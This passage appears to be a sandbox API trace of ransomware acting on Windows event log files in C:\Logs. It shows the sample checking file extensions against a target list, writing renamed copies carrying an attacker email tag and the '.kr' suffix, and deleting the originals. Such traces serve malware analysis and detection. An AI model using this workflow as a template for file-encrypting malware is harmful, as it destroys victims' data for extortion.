lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0096.445] SetEndOfFile (hFile=0x34c) returned 1 [0096.447] CloseHandle (hObject=0x34c) returned 1 [0096.447] SetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0096.447] DeleteFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 1 [0096.447] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0096.448] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0096.448] lstrlenW (lpString=".doc") returned 4 [0096.448] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0096.448] lstrlenW (lpString=".docx") returned 5 [0096.448] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0096.448] lstrlenW (lpString=".pdf") returned 4 [0096.448] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0096.448] lstrlenW (lpString=".xls") returned 4 [0096.448] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0096.448] lstrlenW (lpString=".xlsx") returned 5 [0096.448] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0096.448] lstrlenW (lpString=".ppt") returned 4 [0096.448] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0096.448] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0096.448] lstrlenW (lpString=".zip") returned 4 [0096.448] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0096.448] lstrlenW (lpString=".rar") returned 4 [0096.448] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0096.448] lstrlenW (lpString=".bz2") returned 4 [0096.448] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0096.448] lstrlenW (lpString=".7z") returned 3 [0096.448] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0096.448] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0096.448] lstrlenW (lpString=".dbf") returned 4 [0096.448] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0096.448] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0096.449] lstrlenW (lpString=".1cd") returned 4 [0096.449] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0096.449] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0096.449] lstrlenW (lpString=".jpg") returned 4 [0096.449] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0096.449] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0096.449] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0096.449] lstrlenW (lpString=".doc") returned 4 [0096.449] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0096.449] lstrlenW (lpString=".docx") returned 5 [0096.449] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0096.449] lstrlenW (lpString=".pdf") returned 4 [0096.449] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0096.449] lstrlenW (lpString=".xls") returned 4 [0096.449] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0096.449] lstrlenW (lpString=".xlsx") returned 5 [0096.449] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0096.450] lstrlenW (lpString=".ppt") returned 4 [0096.450] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0096.450] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0096.450] lstrlenW (lpString=".zip") returned 4 [0096.450] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0096.450] lstrlenW (lpString=".rar") returned 4 [0096.450] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0096.450] lstrlenW (lpString=".bz2") returned 4 [0096.450] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0096.450] lstrlenW (lpString=".7z") returned 3 [0096.450] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0096.450] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0096.450] lstrlenW (lpString=".dbf") returned 4 [0096.450] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0096.450] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0096.450] lstrlenW (lpString=".1cd") returned 4 [0096.450] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0096.450] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0096.451] lstrlenW (lpString=".jpg") returned 4 [0096.451] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0096.451] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0096.451] lstrlenW (lpString="Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 47 [0096.451] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0096.451] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=69632) returned 1 [0096.451] CloseHandle (hObject=0x34c) returned 1 [0096.451] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 0x20 [0096.451] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0096.452] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0096.452] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0096.452] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0096.452] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0096.452] GetLastError () returned 0x0 [0096.452] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0096.455] WriteFile (in: hFile=0x2b4, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0096.458] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0096.458] WriteFile (in: hFile=0x2b4, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x132, lpOverlapped=0x0) returned 1 [0096.458] SetEndOfFile (hFile=0x2b4) returned 1 [0096.458] CloseHandle (hObject=0x2b4) returned 1 [0096.461] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0096.461] SetEndOfFile (hFile=0x34c) returned 1 [0096.462] CloseHandle (hObject=0x34c) returned 1 [0096.462] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0096.463] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 1 [0096.463] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0096.463] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0096.463] lstrlenW (lpString=".doc") returned 4 [0096.463] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0096.463] lstrlenW (lpString=".docx") returned 5 [0096.463] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0096.463] lstrlenW (lpString=".pdf") returned 4 [0096.463] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0096.463] lstrlenW (lpString=".xls") returned 4 [0096.463] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0096.463] lstrlenW (lpString=".xlsx") returned 5 [0096.463] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0096.463] lstrlenW (lpString=".ppt") returned 4 [0096.463] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0096.463] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0096.463] lstrlenW (lpString=".zip") returned 4 [0096.463] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0096.463] lstrlenW (lpString=".rar") returned 4 [0096.464] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0096.464] lstrlenW (lpString=".bz2") returned 4 [0096.464] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0096.464] lstrlenW (lpString=".7z") returned 3 [0096.464] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0096.464] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0096.464] lstrlenW (lpString=".dbf") returned 4 [0096.464] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0096.464] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0096.464] lstrlenW (lpString=".1cd") returned 4 [0096.464] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0096.464] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0096.464] lstrlenW (lpString=".jpg") returned 4 [0096.464] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0096.464] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0096.464] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0096.464] lstrlenW (lpString=".doc") returned 4 [0096.464] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0096.464] lstrlenW (lpString=".docx") returned 5 [0096.464] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0096.464] lstrlenW (lpString=".pdf") returned 4 [0096.464] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0096.464] lstrlenW (lpString=".xls") returned 4 [0096.464] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0096.464] lstrlenW (lpString=".xlsx") returned 5 [0096.464] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0096.464] lstrlenW (lpString=".ppt") returned 4 [0096.465] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0096.465] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0096.465] lstrlenW (lpString=".zip") returned 4 [0096.465] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0096.465] lstrlenW (lpString=".rar") returned 4 [0096.465] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0096.465] lstrlenW (lpString=".bz2") returned 4 [0096.465] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0096.472] lstrlenW (lpString=".7z") returned 3 [0096.472] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0096.472] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0096.472] lstrlenW (lpString=".dbf") returned 4 [0096.472] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0096.472] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0096.472] lstrlenW (lpString=".1cd") returned 4 [0096.472] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0096.472] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0096.472] lstrlenW (lpString=".jpg") returned 4 [0096.472] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0096.472] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0096.472] lstrlenW (lpString="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 78 [0096.472] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0096.473] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=69632) returned 1 [0096.473] CloseHandle (hObject=0x34c) returned 1 [0096.474] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 0x20 [0096.474] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0096.474] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0096.474] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0096.474] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0096.474] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0096.475] GetLastError () returned 0x0 [0096.475] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0096.478] WriteFile (in: hFile=0x2b4, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0097.302] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0097.302] WriteFile (in: hFile=0x2b4, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x170, lpOverlapped=0x0) returned 1 [0097.302] SetEndOfFile (hFile=0x2b4) returned 1 [0097.819] CloseHandle (hObject=0x2b4) returned 1 [0097.850] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0097.850] SetEndOfFile (hFile=0x34c) returned 1 [0098.224] CloseHandle (hObject=0x34c) returned 1 [0098.224] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0098.224] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 1 [0098.225] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0098.225] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0098.225] lstrlenW (lpString=".doc") returned 4 [0098.225] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0098.225] lstrlenW (lpString=".docx") returned 5 [0098.225] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0098.225] lstrlenW (lpString=".pdf") returned 4 [0098.225] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0098.225] lstrlenW (lpString=".xls") returned 4 [0098.225] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0098.225] lstrlenW (lpString=".xlsx") returned 5 [0098.225] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0098.225] lstrlenW (lpString=".ppt") returned 4 [0098.225] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0098.225] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0098.225] lstrlenW (lpString=".zip") returned 4 [0098.225] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0098.225] lstrlenW (lpString=".rar") returned 4 [0098.225] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0098.225] lstrlenW (lpString=".bz2") returned 4 [0098.225] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0098.225] lstrlenW (lpString=".7z") returned 3 [0098.225] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0098.225] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0098.225] lstrlenW (lpString=".dbf") returned 4 [0098.226] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0098.226] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0098.226] lstrlenW (lpString=".1cd") returned 4 [0098.226] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0098.226] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0098.226] lstrlenW (lpString=".jpg") returned 4 [0098.226] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0098.226] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0098.226] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0098.226] lstrlenW (lpString=".doc") returned 4 [0098.226] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0098.226] lstrlenW (lpString=".docx") returned 5 [0098.226] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0098.226] lstrlenW (lpString=".pdf") returned 4 [0098.226] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0098.226] lstrlenW (lpString=".xls") returned 4 [0098.226] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0098.226] lstrlenW (lpString=".xlsx") returned 5 [0098.226] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0098.226] lstrlenW (lpString=".ppt") returned 4 [0098.226] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0098.226] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0098.226] lstrlenW (lpString=".zip") returned 4 [0098.226] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0098.226] lstrlenW (lpString=".rar") returned 4 [0098.227] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0098.227] lstrlenW (lpString=".bz2") returned 4 [0098.227] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0098.227] lstrlenW (lpString=".7z") returned 3 [0098.227] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0098.227] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0098.227] lstrlenW (lpString=".dbf") returned 4 [0098.227] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0098.227] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0098.227] lstrlenW (lpString=".1cd") returned 4 [0098.227] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0098.227] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0098.227] lstrlenW (lpString=".jpg") returned 4 [0098.227] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0098.227] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0098.227] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Operational.evtx") returned 48 [0098.227] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0098.229] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=1118208) returned 1 [0098.229] CloseHandle (hObject=0x34c) returned 1 [0098.229] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 0x20 [0098.230] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0098.230] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0098.230] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0098.230] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0098.230] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0098.230] GetLastError () returned 0x0 [0098.230] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0098.861] WriteFile (in: hFile=0x370, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0098.879] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x11010, lpOverlapped=0x0) returned 1 [0098.889] WriteFile (in: hFile=0x370, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x11020, lpOverlapped=0x0) returned 1 [0098.893] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0098.893] WriteFile (in: hFile=0x370, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x134, lpOverlapped=0x0) returned 1 [0098.893] SetEndOfFile (hFile=0x370) returned 1 [0099.481] CloseHandle (hObject=0x370) returned 1 [0099.514] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0099.514] SetEndOfFile (hFile=0x34c) returned 1 [0099.516] CloseHandle (hObject=0x34c) returned 1 [0099.516] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0099.516] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 1 [0099.516] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0099.516] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0099.517] lstrlenW (lpString=".doc") returned 4 [0099.517] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.517] lstrlenW (lpString=".docx") returned 5 [0099.517] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.517] lstrlenW (lpString=".pdf") returned 4 [0099.517] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.517] lstrlenW (lpString=".xls") returned 4 [0099.517] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.517] lstrlenW (lpString=".xlsx") returned 5 [0099.517] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.517] lstrlenW (lpString=".ppt") returned 4 [0099.517] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.517] lstrlenW 